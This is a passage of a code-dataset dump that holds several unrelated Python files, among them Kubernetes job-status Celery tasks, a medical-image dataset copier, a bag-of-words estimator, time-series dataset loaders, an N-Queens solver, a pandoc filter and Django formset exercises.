))\n\npy.plot(fig3, filename = 'Stomach04 - PCA Magnitudes.html')\n","sub_path":"Old/Ploty_isosurface_v2.py","file_name":"Ploty_isosurface_v2.py","file_ext":"py","file_size_in_byte":3440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"335414619","text":"from django.conf import settings\nfrom django.db import IntegrityError\n\nfrom db.models.build_jobs import BuildJob\nfrom db.models.experiment_jobs import ExperimentJob\nfrom db.models.experiments import Experiment\nfrom db.models.jobs import Job\nfrom db.models.notebooks import NotebookJob\nfrom db.models.projects import Project\nfrom db.models.tensorboards import TensorboardJob\nfrom k8s_events_handlers.tasks.logger import logger\nfrom polyaxon.celery_api import celery_app\nfrom polyaxon.settings import Intervals, K8SEventsCeleryTasks\n\n\ndef set_node_scheduling(job, node_name):\n    if job.node_scheduled or node_name is None:\n        return\n    job.node_scheduled = node_name\n    job.save(update_fields=['node_scheduled'])\n\n\n@celery_app.task(name=K8SEventsCeleryTasks.K8S_EVENTS_HANDLE_EXPERIMENT_JOB_STATUSES,\n                 bind=True,\n                 max_retries=3,\n                 ignore_result=True)\ndef k8s_events_handle_experiment_job_statuses(self, payload):\n    \"\"\"Experiment jobs statuses\"\"\"\n    details = payload['details']\n    job_uuid = details['labels']['job_uuid']\n    logger.debug('handling events status for job_uuid: %s, status: %s',\n                 job_uuid, payload['status'])\n\n    try:\n        job = ExperimentJob.objects.get(uuid=job_uuid)\n    except ExperimentJob.DoesNotExist:\n        logger.debug('Job uuid`%s` does not exist', job_uuid)\n        return\n\n    try:\n        job.experiment\n    except Experiment.DoesNotExist:\n        logger.debug('Experiment for job `%s` does not exist anymore', job_uuid)\n        return\n\n    if job.last_status is None and self.request.retries < 2:\n        self.retry(countdown=1)\n\n    # Set the new status\n    try:\n        set_node_scheduling(job, details['node_name'])\n        job.set_status(status=payload['status'],\n                       message=payload['message'],\n                       traceback=payload.get('traceback'),\n                       details=details)\n        logger.debug('status %s is set for job %s %s', payload['status'], job_uuid, job.id)\n    except IntegrityError:\n        # Due to concurrency this could happen, we just retry it\n        logger.info('Retry job status %s handling %s', payload['status'], job_uuid)\n        self.retry(countdown=Intervals.EXPERIMENTS_SCHEDULER)\n\n\n@celery_app.task(name=K8SEventsCeleryTasks.K8S_EVENTS_HANDLE_JOB_STATUSES,\n                 bind=True,\n                 max_retries=3,\n                 ignore_result=True)\ndef k8s_events_handle_job_statuses(self, payload):\n    \"\"\"Project jobs statuses\"\"\"\n    details = payload['details']\n    job_uuid = details['labels']['job_uuid']\n    job_name = details['labels']['job_name']\n    project_name = details['labels'].get('project_name')\n    logger.debug('handling events status for job %s', job_name)\n\n    try:\n        job = Job.objects.get(uuid=job_uuid)\n    except Job.DoesNotExist:\n        logger.debug('Job `%s` does not exist', job_name)\n        return\n\n    try:\n        job.project\n    except Project.DoesNotExist:\n        logger.debug('Project for job `%s` does not exist', project_name)\n        return\n\n    # Set the new status\n    try:\n        set_node_scheduling(job, details['node_name'])\n        job.set_status(status=payload['status'],\n                       message=payload['message'],\n                       traceback=payload.get('traceback'),\n                       details=details)\n    except IntegrityError:\n        # Due to concurrency this could happen, we just retry it\n        self.retry(countdown=Intervals.EXPERIMENTS_SCHEDULER)\n\n\n@celery_app.task(name=K8SEventsCeleryTasks.K8S_EVENTS_HANDLE_PLUGIN_JOB_STATUSES,\n                 bind=True,\n                 max_retries=3,\n                 ignore_result=True)\ndef k8s_events_handle_plugin_job_statuses(self, payload):\n    \"\"\"Project Plugin jobs statuses\"\"\"\n    details = payload['details']\n    app = details['labels']['app']\n    job_uuid = details['labels']['job_uuid']\n    job_name = details['labels']['job_name']\n    project_name = details['labels'].get('project_name')\n    logger.debug('handling events status for job %s %s', job_name, app)\n\n    try:\n        if app == settings.APP_LABELS_TENSORBOARD:\n            job = TensorboardJob.objects.get(uuid=job_uuid)\n        elif app == settings.APP_LABELS_NOTEBOOK:\n            job = NotebookJob.objects.get(uuid=job_uuid)\n        else:\n            logger.info('Plugin job `%s` does not exist', app)\n            return\n    except (NotebookJob.DoesNotExist, TensorboardJob.DoesNotExist):\n        logger.debug('`%s - %s` does not exist', app, job_name)\n        return\n\n    try:\n        job.project\n    except Project.DoesNotExist:\n        logger.debug('`%s` does not exist anymore', project_name)\n\n    # Set the new status\n    try:\n        set_node_scheduling(job, details['node_name'])\n        job.set_status(status=payload['status'],\n                       message=payload['message'],\n                       traceback=payload.get('traceback'),\n                       details=details)\n    except IntegrityError:\n        # Due to concurrency this could happen, we just retry it\n        self.retry(countdown=Intervals.EXPERIMENTS_SCHEDULER)\n\n\n@celery_app.task(name=K8SEventsCeleryTasks.K8S_EVENTS_HANDLE_BUILD_JOB_STATUSES,\n                 bind=True,\n                 max_retries=3,\n                 ignore_result=True)\ndef k8s_events_handle_build_job_statuses(self, payload):\n    \"\"\"Project Plugin jobs statuses\"\"\"\n    details = payload['details']\n    app = details['labels']['app']\n    job_uuid = details['labels']['job_uuid']\n    job_name = details['labels']['job_name']\n    project_name = details['labels'].get('project_name')\n    logger.debug('handling events status for build jon %s %s', job_name, app)\n\n    try:\n        build_job = BuildJob.objects.get(uuid=job_uuid)\n    except BuildJob.DoesNotExist:\n        logger.info('Build job `%s` does not exist', job_name)\n        return\n\n    try:\n        build_job.project\n    except Project.DoesNotExist:\n        logger.debug('`%s` does not exist anymore', project_name)\n\n    # Set the new status\n    try:\n        set_node_scheduling(build_job, details['node_name'])\n        build_job.set_status(status=payload['status'],\n                             message=payload['message'],\n                             traceback=payload.get('traceback'),\n                             details=details)\n    except IntegrityError:\n        # Due to concurrency this could happen, we just retry it\n        self.retry(countdown=Intervals.EXPERIMENTS_SCHEDULER)\n","sub_path":"polyaxon/k8s_events_handlers/tasks/statuses.py","file_name":"statuses.py","file_ext":"py","file_size_in_byte":6472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"91775983","text":"import logging\n\n# filter\n# logger.addFilter()\n# format\nformatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\nf_handler = logging.FileHandler('/var/log/test.log',mode='a')\ns_handler = logging.StreamHandler()\n\nf_handler.setFormatter(formatter)\ns_handler.setFormatter(formatter)\nlevel = logging.DEBUG \nlogger = logging.getLogger(\"main\")\nlogger.setLevel(level)\nlogger.addHandler(f_handler)\nlogger.addHandler(s_handler)\n\nlogger.warning('warning')\n","sub_path":"python/oreilly/logging_t.py","file_name":"logging_t.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"646712140","text":"import os\nimport shutil\nimport csv\n\ndef copiarArquivosPositivos(src, dst, counter, symlinks = False, ignore = None):\n    for arquivo in os.listdir(src):\n        novoArquivoDividido = arquivo.split('.')\n        s = os.path.join(src, arquivo)\n        d = os.path.join(dst, 'positivo.' + str(counter) + '.' + novoArquivoDividido[1])\n        if os.path.isdir(s):\n            print('Diretório encontrado')\n        else:\n            shutil.copy2(s, d)\n            counter += 1 \n    return counter        \n\ndef copiarArquivosNegativos(src, dst, counter, symlinks = False, ignore = None):\n    for arquivo in os.listdir(src):\n        novoArquivoDividido = arquivo.split('.')\n        s = os.path.join(src, arquivo)\n        d = os.path.join(dst, 'negativo.' + str(counter) + '.' + novoArquivoDividido[1])\n        if os.path.isdir(s):\n            print('Diretório encontrado')\n        else:\n            shutil.copy2(s, d)\n            counter += 1\n    return counter\n\ndef main():\n    with open('MURA-v1.1/train_labeled_studies.csv') as arquivo_csv:\n        leitor_csv = csv.reader(arquivo_csv, delimiter = ',')\n        contador_de_linhas = 0\n\n        contador_positivo_xr_elbow = 1\n        contador_negativo_xr_elbow = 1\n\n        contador_positivo_xr_finger = 1\n        contador_negativo_xr_finger = 1\n\n        contador_positivo_xr_forearm = 1\n        contador_negativo_xr_forearm = 1\n\n        contador_positivo_xr_hand = 1\n        contador_negativo_xr_hand = 1\n\n        contador_positivo_xr_humerus = 1\n        contador_negativo_xr_humerus = 1\n\n        contador_positivo_xr_shoulder = 1\n        contador_negativo_xr_shoulder = 1\n\n        contador_positivo_xr_wrist = 1\n        contador_negativo_xr_wrist = 1\n\n        for linha in leitor_csv:\n            contador_de_linhas += 1\n            \n            linhaDividida = linha[0].split('/')\n            \n            if(linhaDividida[2] == 'XR_ELBOW'):\n                if(linha[1] == '1'): # Caso Positivo\n                    print(f'\\t Pasta: {linha[0]} - Positivo')\n                    contador_positivo_xr_elbow = copiarArquivosPositivos(linha[0], 'datasets/XR_ELBOW/dataset_treino/positivo', contador_positivo_xr_elbow, False, None)\n                if(linha[1] == '0'): # Caso Negativo\n                    print(f'\\t Pasta: {linha[0]} - Negativo')\n                    contador_negativo_xr_elbow = copiarArquivosNegativos(linha[0], 'datasets/XR_ELBOW/dataset_treino/negativo', contador_negativo_xr_elbow, False, None)\n\n            if(linhaDividida[2] == 'XR_FINGER'):  \n                if(linha[1] == '1'): # Caso Positivo\n                    print(f'\\t Pasta: {linha[0]} - Positivo')\n                    copiarArquivosPositivos(linha[0], 'datasets/XR_FINGER/dataset_treino/positivo', contador_positivo_xr_finger, False, None)\n                if(linha[1] == '0'): # Caso Negativo\n                    print(f'\\t Pasta: {linha[0]} - Negativo')\n                    copiarArquivosNegativos(linha[0], 'datasets/XR_FINGER/dataset_treino/negativo', contador_negativo_xr_finger, False, None)  \n            \n            if(linhaDividida[2] == 'XR_FOREARM'):\n                if(linha[1] == '1'): # Caso Positivo\n                    print(f'\\t Pasta: {linha[0]} - Positivo')\n                    contador_positivo_xr_forearm = copiarArquivosPositivos(linha[0], 'datasets/XR_FOREARM/dataset_treino/positivo', contador_positivo_xr_forearm , False, None)\n                if(linha[1] == '0'): # Caso Negativo\n                    print(f'\\t Pasta: {linha[0]} - Negativo')\n                    contador_negativo_xr_forearm = copiarArquivosNegativos(linha[0], 'datasets/XR_FOREARM/dataset_treino/negativo', contador_negativo_xr_forearm, False, None)\n\n            if(linhaDividida[2] == 'XR_HAND'):\n                if(linha[1] == '1'): # Caso Positivo\n                    print(f'\\t Pasta: {linha[0]} - Positivo')\n                    contador_positivo_xr_hand  = copiarArquivosPositivos(linha[0], 'datasets/XR_HAND/dataset_treino/positivo', contador_positivo_xr_hand , False, None)\n                if(linha[1] == '0'): # Caso Negativo\n                    print(f'\\t Pasta: {linha[0]} - Negativo')\n                    contador_negativo_xr_hand = copiarArquivosNegativos(linha[0], 'datasets/XR_HAND/dataset_treino/negativo', contador_negativo_xr_hand, False, None)\n\n            if(linhaDividida[2] == 'XR_HUMERUS'):\n                if(linha[1] == '1'): # Caso Positivo\n                    print(f'\\t Pasta: {linha[0]} - Positivo')\n                    contador_positivo_xr_humerus = copiarArquivosPositivos(linha[0], 'datasets/XR_HUMERUS/dataset_treino/positivo', contador_positivo_xr_humerus, False, None)\n                if(linha[1] == '0'): # Caso Negativo\n                    print(f'\\t Pasta: {linha[0]} - Negativo')\n                    contador_negativo_xr_humerus = copiarArquivosNegativos(linha[0], 'datasets/XR_HUMERUS/dataset_treino/negativo', contador_negativo_xr_humerus, False, None)\n\n            if(linhaDividida[2] == 'XR_SHOULDER'):\n                if(linha[1] == '1'): # Caso Positivo\n                    print(f'\\t Pasta: {linha[0]} - Positivo')\n                    contador_positivo_xr_shoulder = copiarArquivosPositivos(linha[0], 'datasets/XR_SHOULDER/dataset_treino/positivo', contador_positivo_xr_shoulder, False, None)\n                if(linha[1] == '0'): # Caso Negativo\n                    print(f'\\t Pasta: {linha[0]} - Negativo')\n                    contador_negativo_xr_shoulder = copiarArquivosNegativos(linha[0], 'datasets/XR_SHOULDER/dataset_treino/negativo', contador_negativo_xr_shoulder, False, None)\n\n            if(linhaDividida[2] == 'XR_WRIST'):\n                if(linha[1] == '1'): # Caso Positivo\n                    print(f'\\t Pasta: {linha[0]} - Positivo')\n                    contador_positivo_xr_wrist = copiarArquivosPositivos(linha[0], 'datasets/XR_WRIST/dataset_treino/positivo', contador_positivo_xr_wrist, False, None)\n                if(linha[1] == '0'): # Caso Negativo\n                    print(f'\\t Pasta: {linha[0]} - Negativo')\n                    contador_negativo_xr_wrist = copiarArquivosNegativos(linha[0], 'datasets/XR_WRIST/dataset_treino/negativo', contador_negativo_xr_wrist, False, None)\n                \n        print(f'Total de linhas processadas: {contador_de_linhas}')\n    arquivo_csv.close()\n\nif __name__ == '__main__':\n    main()","sub_path":"ajuste_dataset_treino.py","file_name":"ajuste_dataset_treino.py","file_ext":"py","file_size_in_byte":6315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"184472406","text":"import os\nfrom collections import Counter\n\nimport numpy as np\nfrom sklearn.base import BaseEstimator\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.utils.validation import check_X_y, check_array, check_is_fitted\n\n\nclass NormBagOfWords(BaseEstimator):\n\n    def __init__(self, nGram=1, gamma=1):\n        self.nGram_ = nGram\n        self.gamma_ = gamma\n\n    def hlim_w_(self, x):\n        return range(len(x)-self.nGram_+1)\n\n    def get_ngrams_(self, x, i):\n        return ' '.join(x[i:i+self.nGram_])\n\n    def toNGrams_(self, X):\n        newX = []\n        for x in X:\n            newX.append(list(map(lambda i: self.get_ngrams_(x, i), self.hlim_w_(x))))\n        return newX\n\n    def check_bounds(self, x, low, high):\n        return self.freqs_[x] >= low and self.freqs_[x] <= high\n\n    def check_args(self, low, high):\n        if high < low:\n            print(' !BagOfWords : low bound must be lower than higher bound')\n            raise ValueError\n\n    def cutGrams_(self, X, low, high):\n        newX = []\n        for x in X:\n            newX.append(list(filter(lambda gs: self.check_bounds(gs, low, high), x)))\n        return newX\n\n    def fit(self, X):\n        self.freqs_ = Counter()\n        for x in X:\n            for i in self.hlim_w_(x):\n                ngram = self.get_ngrams_(x, i)\n                self.freqs_[ngram] += 1\n        self.nbGrams_ = len(self.freqs_)\n        return self\n\n    def getFreq_(self, x):\n        if x in self.freqs_:\n            return self.freqs_[x]\n        else:\n            return 0\n\n    def getFreqs(self, X):\n        check_is_fitted(self, ['freqs_'])\n        ret = []\n        for x in X:\n            ret.append(self.getFreq_(x))\n        return ret\n\n    def transform(self, X, low=0, high=-1, ret_dict=False):\n        # regarder si le model a été ajusté\n        check_is_fitted(self, ['freqs_'])\n\n        if high > 0:\n            self.check_args(low, high)\n            newX = self.cutGrams_(self.toNGrams_(X), low, high)\n        else:\n            newX = self.toNGrams_(X)\n\n        grams = set()\n\n        for x in newX:\n            grams |= set(x)\n\n        grams2id = {g: i for i, g in enumerate(grams)}\n        id2grams = {i: g for i, g in enumerate(grams)}\n\n        vectorX = np.zeros((len(newX), len(grams)))\n\n        for i, x in enumerate(newX):\n            for g in x:\n                vectorX[i,grams2id[g]] += 1 / (self.gamma_*self.freqs_[g])\n\n        vectorX[vectorX != 0] = np.log(vectorX[vectorX != 0])\n        vectorX = MinMaxScaler().fit_transform(vectorX)\n\n        if ret_dict:\n            return vectorX, id2grams\n        else:\n            return vectorX\n\n    def transform_cut(self, X, low=0, high=-1):\n        # regarder si le model a été ajusté\n        check_is_fitted(self, ['freqs_'])\n\n        if high > 0:\n            self.check_args(low, high)\n            newX = self.cutGrams_(self.toNGrams_(X), low, high)\n            return newX\n        else:\n            newX = self.toNGrams_(X)\n            return newX\n","sub_path":"src/bow/normBagOfWords.py","file_name":"normBagOfWords.py","file_ext":"py","file_size_in_byte":2980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"179075894","text":"import pandas as pd\nimport os\nimport collections\n\nclass BaseDataset(object):\n\n    def list_metrics(self):\n        raise NotImplementedError()\n\n    def list_hosts(self, metric):\n        raise NotImplementedError()\n\n    def get_dataframe(self, metric, host, time_from='2018-01-01 00:00:00', time_till='2019-01-01 00:00:00'):\n        raise NotImplementedError()\n\n    def get_timeseries(self, metric, host):\n        raise NotImplementedError()\n\nclass CSVDataset(BaseDataset):\n    def __init__(self):\n        DATASET_DIR = 'sample_dataset'\n        curr_path = os.path.dirname(os.path.abspath(__file__))\n        self.dataset_path = os.path.join(curr_path, DATASET_DIR)\n\n    def list_metrics(self):\n        metrics = []\n        for filename in os.listdir(self.dataset_path):\n            counter_filename = collections.Counter(filename)\n            if counter_filename['.'] == 2 and filename.endswith('.csv'):\n                metrics.append(filename.split('.')[0])\n        return list(set(metrics))\n\n    def list_hosts(self, metric):\n        hosts = []\n        for filename in os.listdir(self.dataset_path):\n            if filename.startswith(metric):\n                counter_filename = collections.Counter(filename)\n                if counter_filename['.'] == 2 and filename.endswith('.csv'):\n                    hosts.append(filename.split('.')[1])\n        return list(set(hosts))\n\n    def get_file_name(self, metric, host):\n        return os.path.join(self.dataset_path, '{}.{}.csv'.format(metric, host))\n\n    def get_dataframe(self, metric, host, time_from=None, time_till=None):\n        file_name = self.get_file_name(metric, host)\n        return pd.read_csv(file_name)\n\n    def get_timeseries(self, metric, host, time_from=None, time_till=None):\n        df = self.get_dataframe(metric, host, time_from, time_till)\n        df.set_index('time', inplace=True)\n        return df['value']\n\n    def timeserie_to_csv(self, metric, host, datapoints):\n        file_name = self.get_file_name(metric, host)\n        datapoints.to_csv(file_name, index=False)\n\n\nclass JSONDataset(BaseDataset):\n    def __init__(self):\n        DATASET_DIR = 'json_dataset'\n        curr_path = os.path.dirname(os.path.abspath(__file__))\n        self.dataset_path = os.path.join(curr_path, DATASET_DIR)\n\n    def save_metric_datpoints(self, metric):\n        influx_dataset = InfluxDBDataset()\n        metric_index = 0\n\n        hosts = influx_dataset.list_hosts_small_names(metric)\n        for host in hosts:\n            file_name = os.path.join(self.dataset_path, '{}_{}.json'.format(metric, host))\n            file = open(file_name, 'w')\n            datapoints = influx_dataset.get_timeserie(metric, host)\n            for index, row in datapoints.iterrows():\n                metric_index += 1\n                file.write('{\"index\": {\"_index\":\"zabbix_metrics_%s\",\"_type\":\"%s\",\"_id\":\"%s\"}}\\n' % (metric, metric, str(metric_index)))\n                file.write('{\"@timestamp\":\"%s\",\"host_name\":\"%s\",\"value\":%s}\\n' % (str(row['time'].strftime(\"%Y-%m-%dT%H:%M:%S\")), host, str(row['value'])))\n            file.close()\n\ndef save_all_metrics(self):\n        influx_dataset = InfluxDBDataset()\n        metrics = influx_dataset.list_metrics()\n        for metric in metrics:\n            self.save_metric_datpoints(metric)\n\nclass InfluxDBDataset(BaseDataset):\n    def __init__(self):\n        from influxdb import InfluxDBClient\n        influxdb_host = 'localhost'\n        influxdb_port = 8086\n        influx_database=  'metricas_hist'\n        self.influxdb_client = InfluxDBClient(host=influxdb_host, port=influxdb_port, database=influx_database)\n\n    def list_metrics(self):\n        metrics = []\n        sql = \"show measurements\"\n        ret_df = self.influxdb_client.query(sql)\n        for item in ret_df['measurements']:\n            metrics.append(item['name'])\n        return metrics\n\n    def list_hosts(self, metric):\n        hosts = []\n        sql = \"SHOW TAG VALUES with key = host_name\"\n        ret_df = self.influxdb_client.query(sql)\n        for item in ret_df[metric]:\n            hosts.append(item['value'])\n        return hosts\n\n    def list_hosts_small_names(self, metric):\n        hosts = []\n        sql = \"SHOW TAG VALUES with key = host_name\"\n        ret_df = self.influxdb_client.query(sql)\n        for item in ret_df[metric]:\n            hostname = item['value']\n            if len(hostname) < 19:\n                hosts.append(hostname)\n        return hosts\n\n    def get_dataframe(self, metric, host, time_from='2018-01-01 00:00:00', time_till='2019-01-01 00:00:00'):\n\n        sql = \"\"\"SELECT time, value\n                 FROM {}\n                 WHERE host_name = '{}'\n                 AND time >= '{}'\n                 AND time <= '{}'\n                 \"\"\".format(metric, host, time_from, time_till)\n        result_set = self.influxdb_client.query(sql)\n        time = []\n        value = []\n        for item in result_set.get_points():\n            time.append(item['time'])\n            value.append(item['value'])\n        my_dataframe = pd.DataFrame(\n            {'time': time,\n             'value': value\n            })\n        my_dataframe['time'] = pd.to_datetime(my_dataframe['time'])\n        return my_dataframe\n\n    def get_timeseries(self, metric, host, time_from='2018-01-01 00:00:00', time_till='2019-01-01 00:00:00'):\n        df = self.get_dataframe(metric, host, time_from, time_till)\n        df.set_index('time', inplace=True)\n        return df['value']\n\n\n    def get_metric_timeserie(self, metric):\n        sql = \"select time, host_name, value from {}\".format(metric)\n        result_set = self.influxdb_client.query(sql)\n        time = []\n        host_name = []\n        value = []\n        for item in result_set.get_points():\n            time.append(item['time'])\n            host_name.append(item['host_name'])\n            value.append(item['value'])\n        my_dataframe = pd.DataFrame(\n            {'time': time,\n             'host_name': host_name,\n             'value': value\n            })\n        my_dataframe['time'] = pd.to_datetime(my_dataframe['time'])\n        return my_dataframe\n","sub_path":"apps/mestrado_projeto_anomalias/util/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":6074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"230913914","text":"class Solution:\n    def solveNQueens(self, N: int) -> List[List[str]]:\n        ans = []\n        board = [['.'] * N for _ in range(N)]\n\n        def place(i: int, vert: int, ldiag: int, rdiag: int) -> None:\n            if i == N:\n                ans.append([\"\".join(row) for row in board])\n                return\n            for j in range(N):\n                vmask, lmask, rmask = 1 << j, 1 << (i+j), 1 << (N-i-1+j)\n                if vert & vmask or ldiag & lmask or rdiag & rmask:\n                    continue\n                board[i][j] = 'Q'\n                place(i+1, vert | vmask, ldiag | lmask, rdiag | rmask)\n                board[i][j] = '.'\n\n        place(0, 0, 0, 0)\n        return ans\n","sub_path":"May LeetCoding Chanllenge 2021/22 N-Queens/N-Queens.py","file_name":"N-Queens.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"117470583","text":"#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\n\nimport re\n\nfrom pandocfilters import toJSONFilter, stringify, get_caption, RawInline, Str, Space, Table, Plain, OrderedList, BulletList, Math, Cite\n\ndef inlatex(s):\n\treturn RawInline('latex', s)\n\ndef get_label(label):\n\tif ':' in label:\n\t\treftype = label.split(':')[0]\n\t\tif reftype == 'sec' or reftype == 'section':\n\t\t\trefcommand = 'jsecref'\n\t\telif reftype == 'eq' or reftype == 'equation':\n\t\t\trefcommand = 'jeqref'\n\t\telif reftype == 'fig' or reftype == 'figure':\n\t\t\trefcommand = 'jfigref'\n\t\telif reftype == 'tbl' or reftype == 'table':\n\t\t\trefcommand = 'jtblref'\n\t\telif reftype == 'theo' or reftype == 'theorem':\n\t\t\trefcommand = 'jtheoref'\n\t\telif reftype == 'def' or reftype == 'definition':\n\t\t\trefcommand = 'jdefref'\n\t\telif reftype == 'exam' or reftype == 'example':\n\t\t\trefcommand = 'jexamref'\n\t\telse:\n\t\t\trefcommand = 'ref'\n\telse:\n\t\trefcommand = 'cite'\n\treturn(inlatex(\"\\\\%s{%s}\" % (refcommand,label)))\n\nclass PandocContents():\n\tdef __init__(self, str):\n\t\tself.contents = list()\n\t\tself.id = None\n\t\tself.classes = list()\n\t\tself.keyvals = dict()\n\t\tattr = re.compile('\\{(.+?)\\}')\n\t\tattrs = ' '.join(attr.findall(str)).split(' ')\n\t\tfor att in attrs:\n\t\t\tif att.startswith('#'):\n\t\t\t\tself.id = att[1:]\n\t\t\telif att.startswith('.'):\n\t\t\t\tself.classes.append(att[1:])\n\t\t\telif '=' in att:\n\t\t\t\tkeyvals = att.split(\"=\")\n\t\t\t\tself.keyvals[keyvals[0]] = keyvals[1]\n\t\tref = re.compile('\\[@(.+?)\\]')\n\t\tfor c in re.split('\\s+', attr.sub('', str).strip()):\n\t\t\tif len(c) == 0:\n\t\t\t\tpass\n\t\t\tif len(self.contents) > 0:\n\t\t\t\tself.contents.append(Space())\n\t\t\tstart = 0\n\t\t\tend = len(c)\n\t\t\twhile start < end:\n\t\t\t\ttref = ref.search(c, start, end)\n\t\t\t\tif tref is None:\n\t\t\t\t\tself.contents.append(Str(c[start:end]))\n\t\t\t\t\tstart = end\n\t\t\t\telse:\n\t\t\t\t\tif tref.start() > start:\n\t\t\t\t\t\tself.contents.append(Str(c[start:tref.start()]))\n\t\t\t\t\tlabel = ref.split(c[tref.start():tref.end()])[1]\n\t\t\t\t\tself.contents.append(get_label(label))\n\t\t\t\t\tstart = tref.end()\n\t\treturn\n\tdef get_contents_with_label(self):\n\t\tcontents = self.contents[:]\n\t\tif self.id is not None:\n\t\t\tcontents.append(inlatex(\"\\\\label{%s}\" % self.id))\n\t\tif len(contents) == 0:\n\t\t\treturn []\n\t\treturn contents\n\ndef pandocfilter(key, value, fmt, meta):\n\tif key == 'Table':\n\t\t[caption, alignment, data, header, rows] = value\n\t\tif len(caption) == 0:\n\t\t\treturn\n\t\tcaption = PandocContents(stringify(caption))\n\t\treturn [Table(caption.get_contents_with_label(), alignment, data, header, rows)]\n\telif key == 'Math' and value[0][\"t\"] == 'DisplayMath':\n\t\t[mathtype, mathcode] = value\n\t\tattr = re.compile('\\{#(.+?)\\}')\n\t\tif attr.search(mathcode) is None:\n\t\t\treturn\n\t\tlabels = attr.findall(mathcode)\n\t\tfor l in labels:\n\t\t\tml = r\"\\\\\\\\label{%s}\" % l\n\t\t\tmathcode = attr.sub(ml, mathcode, count=1)\n\t\treturn [Math(mathtype, mathcode)]\n\telif key == 'Cite':\n\t\tret = list()\n\t\t[citeinfo, contents] = value\n\t\tfor ci in citeinfo:\n\t\t\tlabel = ci['citationId']\n\t\t\tret.append(get_label(label))\n\t\tif len(ret) > 0:\n\t\t\treturn ret\n\ndef main():\n\ttoJSONFilter(pandocfilter)\n\nif __name__ == \"__main__\":\n\tmain()\n","sub_path":"filters/crossref_bw.py","file_name":"crossref_bw.py","file_ext":"py","file_size_in_byte":3040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"187639824","text":"#============= PART 1 ===============\n# Challenge Task 1 of 2\n# Creating products one at a time is getting tedious. I want to be able to make multiple at a time.\n# In forms.py, create a model formset factory for the Digital model. Include the same fields as the DigitalProductForm. Name the factory DigitalFormset.\n\n\nfrom django import forms\n\nfrom . import models\n\n\nclass DigitalProductForm(forms.ModelForm):\n    class Meta:\n        model = models.Digital\n        fields = ['name', 'description', 'url']\n\nDigitalFormset = forms.modelformset_factory(\n    models.Digital,\n    form = DigitalProductForm\n)\n\n\n# Challenge Task 2 of 2\n# Great! That's definitely going to help. Can you go one step further, though?\n\n# I want to be able to make five (5) products at a time. Can you set extra and max_num to both be 5?\n\n\nfrom django import forms\n\nfrom . import models\n\n\nclass DigitalProductForm(forms.ModelForm):\n    class Meta:\n        model = models.Digital\n        fields = ['name', 'description', 'url']\n\nDigitalFormset = forms.modelformset_factory(\n    models.Digital,\n    form = DigitalProductForm,\n    extra = 5,\n    max_num = 5\n)\n\n#============= PART 2 ===============\n# Challenge Task 1 of 1\n# Now that we have a solid formset factory, we need to use it in a view.\n\n# I've already set up a view, bulk_create_product, but it doesn't do anything on POST requests.\n\n# Update the view so that POST requests, if valid, populate and save the formset. After saving, it should return a redirect to the URL named \"products:bulk_create\".\nfrom django.core.urlresolvers import reverse\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import render\n\nfrom . import forms\n\n\ndef product_form(request):\n    form = forms.DigitalProductForm()\n    if request.method == 'POST':\n        form = forms.DigitalProductForm(request.POST)\n        if form.is_valid():\n            form.save()\n            return HttpResponseRedirect(reverse('products:create'))\n    return render(request, 'products/product_form.html', {'form': form})\n\n\ndef bulk_create_products(request):\n    formset = forms.DigitalFormset()\n    if request.method == 'POST':\n        formset = forms.DigitalFormset(request.POST)\n        if formset.is_valid():\n            formset.save()\n            return HttpResponseRedirect(reverse('products:bulk_create'))\n    return render(request, 'products/bulk_create.html', {'formset': formset})\n\n#============= PART 3 ===============\n\n\n# Challenge Task 1 of 2\n# I want to be able to create a Review in the same form as where I create a Product. That means I need an inline form!\n\n# Create an inline model formset factory, named ReviewFormset, for the Review model. You need to include all the same fields as the existing ReviewForm.\n\n# Remember, the first argument to the factory is the parent model (Product) and the second is the model the factory is for (Review).\n\nfrom django import forms\n\nfrom . import models\nfrom products.models import Product\n\n\nclass ReviewForm(forms.ModelForm):\n    class Meta:\n        model = models.Review\n        fields = ('headline', 'rating', 'content', 'writer', 'publish_date')\n\nReviewFormset = forms.inlineformset_factory(\n    models.Product,\n    models.Review,\n    fields = ('headline', 'rating', 'content', 'writer', 'publish_date')\n)\n\n\n# Challenge Task 2 of 2\n# Great! By default, I get 3 extra forms. That's a lot for a single view since they're big forms. Can you change it so I only get 1 extra?\n\nfrom django import forms\n\nfrom . import models\nfrom products.models import Product\n\n\nclass ReviewForm(forms.ModelForm):\n    class Meta:\n        model = models.Review\n        fields = ('headline', 'rating', 'content', 'writer', 'publish_date')\n\nReviewFormset = forms.inlineformset_factory(\n    models.Product,\n    models.Review,\n    fields = ('headline', 'rating', 'content', 'writer', 'publish_date'),\n    extra = 1\n)\n","sub_path":"team_treehouse/python_web_tech_degree/unit_7/django_forms/topic_4.py","file_name":"topic_4.py","file_ext":"py","file_size_in_byte":3850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
